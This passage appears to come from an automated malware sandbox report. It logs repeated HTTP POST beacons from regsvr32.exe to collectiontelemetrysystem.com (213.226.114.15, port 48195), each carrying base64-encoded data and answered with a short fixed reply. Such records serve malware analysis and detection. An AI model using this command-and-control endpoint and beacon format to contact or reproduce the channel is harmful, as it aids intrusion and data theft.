ev=eyIzQ0VrIjoiMHhxQUZMdkRyRVNYd3NPdzQwR3BnbEU1Q0QyOXpOV0diT01MT1NRMXdLSnBlYytMSXgwPSIsIjNmZTExIjoib2tYTlFBPT0iLCIzbTd4IjoiMnhDWkdMaz0iLCJEUzJ4IjoickVEVU03NmYiLCJFTGoiOiIzalc2UWVNPSIsIkVvNiI6IjJ4T0dHTEtIIiwiRnRvIjoicmc9PSIsIkxvcyI6WyIvQXlFRnAyQnRpN3d4Y1dzNlYyTW13SkFVVTNVcm9PRElJVnpkQTlHdnVNTklnPT0iXSwiTlNleURYIjoiMUNlUkNKT3oiLCJRNlg2IjoiM2pHbk9vT2tya0NBc0pxV3NWN00iLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9IiwiZjFkYSI6InhpaXdOSVNncWlMbnJKdnpzRDNLK0VrPSIsInRXIjoib2szTlJPTFoiLCJ3UDYiOiI3RVhhUmZuYiIsInprQzciOiIifQ==
Jun 16, 2022 20:32:08.454399109 CEST	3965	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:08 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.3	49850	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:23.516217947 CEST	12003	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:23.732894897 CEST	12005	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:23 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.3	49852	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:23.975796938 CEST	12008	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:24.185136080 CEST	12009	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:23 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.3	49855	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:24.435112953 CEST	12013	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:24.635565996 CEST	12015	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:24 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.3	49857	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:24.866269112 CEST	12017	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:25.085967064 CEST	12020	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:24 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.3	49860	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:25.317204952 CEST	12023	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:25.550549984 CEST	12026	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:25 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.3	49863	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:25.778882980 CEST	12030	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:25.981256962 CEST	12032	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:25 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.3	49866	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:26.226357937 CEST	12036	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:26.458363056 CEST	12038	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:26 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.3	49869	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:26.978838921 CEST	12042	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:27.180341959 CEST	12044	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:26 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.3	49871	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:27.497231960 CEST	12047	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:27.715837002 CEST	12048	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:27 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.3	49873	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:28.375046015 CEST	12051	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:28.576628923 CEST	12052	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:28 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49817	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
